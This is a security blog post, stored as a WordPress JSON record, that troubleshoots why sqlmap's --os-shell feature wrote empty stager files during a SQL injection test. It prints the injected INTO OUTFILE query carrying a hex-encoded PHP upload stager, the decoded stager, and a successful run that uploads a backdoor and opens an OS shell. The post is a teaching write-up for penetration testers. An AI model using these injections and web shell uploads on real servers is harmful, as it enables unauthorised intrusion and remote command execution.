{"id":581,"date":"2014-12-05T08:09:18","date_gmt":"2014-12-05T13:09:18","guid":{"rendered":"http:\/\/www.willhackforsushi.com\/?p=581"},"modified":"2014-12-05T08:09:18","modified_gmt":"2014-12-05T13:09:18","slug":"the-mystery-of-sqlmaps-empty-files","status":"publish","type":"post","link":"https:\/\/www.willhackforsushi.com\/?p=581","title":{"rendered":"The Mystery of sqlmap&#8217;s Empty Files"},"content":{"rendered":"<p>Recently I was working with a basic SQLi flaw, and wanted to get OS-level access. Naturally, I turned to sqlmap&#8217;s &#8220;&#8211;os-shell&#8221; feature.<\/p>\n<pre>$ sqlmap -u 'http:\/\/targetserver.mytarget.city.nw\/login.php' --data='user=josh&amp;pass=pass' --os-shell\r\n\r\nsqlmap\/1.0-dev - automatic SQL injection and database takeover tool\r\nhttp:\/\/sqlmap.org\r\n\r\nwhich web application language does the web server support?\r\n[1] ASP\r\n[2] ASPX\r\n[3] JSP\r\n[4] PHP (default)\r\n&gt;\r\n[07:26:13] [WARNING] unable to retrieve automatically the web server document root\r\nwhat do you want to use for web server document root?\r\n[1] common location(s) '\/var\/www\/' (default)\r\n[2] custom location\r\n[3] custom directory list file\r\n[4] brute force search\r\n\r\n&gt;\r\n[07:26:13] [WARNING] unable to retrieve automatically any web server path\r\n[07:26:13] [INFO] trying to upload the file stager on '\/var\/www' via LIMIT INTO OUTFILE technique\r\n[07:26:14] [WARNING] unable to upload the file stager on '\/var\/www'\r\n[07:26:14] [INFO] fetched data logged to text files under '\/home\/jwright\/.sqlmap\/targetserver.mytarget.city.nw'\r\n\r\n[*] shutting down at 07:26:14\r\n<\/pre>\n<p>The server here is vulnerable to SQLi through an error-based injection, but the os-shell fails to upload the file stager. I assumed the \/var\/www directory was not writable by the MySQL user, tried some other directories that all failed in the same way, and moved on to other techniques. However, later I saw this in the \/var\/www directory:<\/p>\n<pre>root@targetserver:\/var\/www# ls -l\r\ntotal 48\r\n-rw-r--r-- 1 root root 573 Jan 16 2013 alarms.php\r\ndrwxr-xr-x 2 root root 4096 Jan 16 2013 css\r\n-rw-r--r-- 1 root root 634 Jan 16 2013 denied.php\r\n-rw-r--r-- 1 root root 304 Jan 16 2013 footer.php\r\n-rw-r--r-- 1 root root 3577 Dec 5 05:47 header.php\r\ndrwxr-xr-x 2 root root 4096 Jan 16 2013 images\r\n-rw-r--r-- 1 root root 3516 Jan 16 2013 index.php\r\ndrwxr-xr-x 2 root root 4096 Jan 16 2013 js\r\n-rw-r--r-- 1 root root 424 Dec 5 07:26 login.php\r\n-rw-r--r-- 1 root root 198 Jan 16 2013 logout.php\r\n-rw-r--r-- 1 root root 4455 Dec 4 17:01 reports.php\r\n-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:34 tmpubhkn.php\r\n-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuqitu.php\r\n-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:26 tmpurwem.php\r\n-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuvkgz.php\r\n-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuwtqk.php\r\n-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:36 tmpuxycr.php\r\n<\/pre>\n<p>The files starting with &#8220;tmpu&#8221; are the stager files created through sqlmap&#8217;s os-shell feature. That they are empty explains why sqlmap returned the &#8220;unable to upload file stager&#8221; error, but since we know the &#8220;mysql&#8221; account can write here the question remains: why did sqlmap&#8217;s os-shell feature fail?<\/p>\n<p>Google&#8217;ing for similar situations brought me to <a title=\"Making it Ra1nx\" href=\"http:\/\/staringintodevnull.blogspot.com\/2013\/12\/making-it-ra1nx.html\" target=\"_blank\">Bas&#8217; post<\/a> describing a similar situation. He manually created the PHP shell with &#8220;&#8211;sql-shell&#8221;, but I wanted to find out why sqlmap failed.<\/p>\n<p>I added a line to the vulnerable login.php script to save queries to a file. Here is what sqlmap does when os-shell is used:<\/p>\n<pre>SELECT * FROM user_credentials WHERE `username` = 'josh'\r\nSELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '\/var\/www\/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI'\r\n<\/pre>\n<ul>\n<li>First, sqlmap runs the basic request, supplying my input &#8216;josh&#8217; for the injectable parameter.<\/li>\n<li>Next, sqlmap runs the query again, appending the &#8220;LIMIT 0,1 INTO OUTFILE &#8230;&#8221; declaration. The outfile filename is randomly selected, and sqlmap supplies a custom line terminator for the content to write to the outfile. This is a large hex string, which decodes to the following:<\/li>\n<\/ul>\n<pre>if (isset($_REQUEST[\"upload\"])){$dir=\r\n$_REQUEST[\"uploadDir\"];if (phpversion()&lt;'4.1.0'){$file=$HTTP_POST_F\r\nILES[\"file\"][\"name\"];@move_uploaded_file($HTTP_POST_FILES[\"file\"][\"\r\ntmp_name\"],$dir.\"\/\".$file) or die();}else{$file=$_FILES[\"file\"][\"na\r\nme\"];@move_uploaded_file($_FILES[\"file\"][\"tmp_name\"],$dir.\"\/\".$file\r\n) or die();}@chmod($dir.\"\/\".$file,0755);echo \"File uploaded\";}else \r\n{echo \"&lt;form action=\".$_SERVER[\"PHP_SELF\"].\" method=POST enctype=mu\r\nltipart\/form-data&gt;&lt;input type=hidden name=MAX_FILE_SIZE value=10000\r\n00000&gt;&lt;b&gt;sqlmap file uploader&lt;\/b&gt;&lt;br&gt;&lt;input name=file type=file&gt;&lt;br\r\n&gt;to directory: &lt;input type=text name=uploadDir value=\/var\/www&gt; &lt;inp\r\nut type=submit name=upload value=upload&gt;&lt;\/form&gt;\";}?&gt;<\/pre>\n<p>Terrific, this is the sqlmap stager. Still, why does it create the file, but not populate the output file? I ran the query manually from a mysql shell to examine the output:<\/p>\n<pre>mysql&gt; SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '\/var\/www\/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI';\r\nQuery OK, 0 rows affected (0.00 sec)\r\n<\/pre>\n<p>OK, that SQL creates the empty file, just like sqlmap does. However, this abbreviated query turned out to be more useful:<\/p>\n<pre>mysql&gt; SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1;\r\nEmpty set (0.00 sec)\r\n<\/pre>\n<p>DOH! I made the cardinal sin of SQL injection exploitation: <strong>I didn&#8217;t start with valid data<\/strong>.<\/p>\n<p>In my SANS classes, I tell students: <strong>Always Start with Valid Data<\/strong> (when performing SQL injection). If you identify a username parameter <code>josh'<\/code> that returns a database error, that&#8217;s great, but don&#8217;t supply that to sqlmap. Start with the valid data of <code>josh<\/code>, and let sqlmap figure out the rest (assisting sqlmap where necessary).<\/p>\n<p>The problem here, and the reason for sqlmap&#8217;s empty files, is that the injected SELECT statement doesn&#8217;t return any records, so the delimiter PHP code is never written to a file. What does work is this:<\/p>\n<pre>$ sqlmap -u 'http:\/\/targetserver.mytarget.city.nw\/login.php' --data='user=pconnor&amp;pass=pass' --os-shell\r\n\r\n    sqlmap\/1.0-dev - automatic SQL injection and database takeover tool\r\n    http:\/\/sqlmap.org\r\n\r\n[07:49:38] [WARNING] unable to retrieve automatically any web server path\r\n[07:49:38] [INFO] trying to upload the file stager on '\/var\/www' via LIMIT INTO OUTFILE technique\r\n[07:49:38] [INFO] the file stager has been successfully uploaded on '\/var\/www' - http:\/\/targetserver.mytarget.city.nw:80\/tmpuiqxs.php\r\n[07:49:38] [INFO] the backdoor has been successfully uploaded on '\/var\/www' - http:\/\/targetserver.mytarget.city.nw:80\/tmpbubmd.php\r\n[07:49:38] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER\r\nos-shell&gt; uname -a\r\ndo you want to retrieve the command standard output? [Y\/n\/a] a\r\ncommand standard output:    'Linux targetserver.mytarget.city.nw 3.2.0-33-generic #52-Ubuntu SMP Thu Oct 18 16:29:15 UTC 2012 x86_64 x86_64 x86_64 GNU\/Linux'\r\nos-shell&gt;\r\n<\/pre>\n<p>Replacing my <em>put-any-username-here<\/em> &#8220;josh&#8221; reference with a valid username causes the SQL statement to return at least one record, which prompts the database to write the handler code to the file and returns an os-shell.<\/p>\n<p>A valuable lesson for me, and hopefully others find it useful as well.<\/p>\n<p>-Josh<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Recently I was working with a basic SQLi flaw, and wanted to get OS-level access. Naturally, I turned to sqlmap&#8217;s &#8220;&#8211;os-shell&#8221; feature. $ sqlmap -u &#8216;http:\/\/targetserver.mytarget.city.nw\/login.php&#8217; &#8211;data=&#8217;user=josh&amp;pass=pass&#8217; &#8211;os-shell sqlmap\/1.0-dev &#8211; automatic SQL injection and database takeover tool http:\/\/sqlmap.org which web &hellip; <a href=\"https:\/\/www.willhackforsushi.com\/?p=581\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,10],"tags":[],"class_list":["post-581","post","type-post","status-publish","format-standard","hentry","category-hacking","category-tool"],"_links":{"self":[{"href":"https:\/\/www.willhackforsushi.com\/index.php?rest_route=\/wp\/v2\/posts\/581","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.willhackforsushi.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.willhackforsushi.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.willhackforsushi.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.willhackforsushi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=581"}],"version-history":[{"count":6,"href":"https:\/\/www.willhackforsushi.com\/index.php?rest_route=\/wp\/v2\/posts\/581\/revisions"}],"predecessor-version":[{"id":587,"href":"https:\/\/www.willhackforsushi.com\/index.php?rest_route=\/wp\/v2\/posts\/581\/revisions\/587"}],"wp:attachment":[{"href":"https:\/\/www.willhackforsushi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=581"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.willhackforsushi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=581"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.willhackforsushi.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=581"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}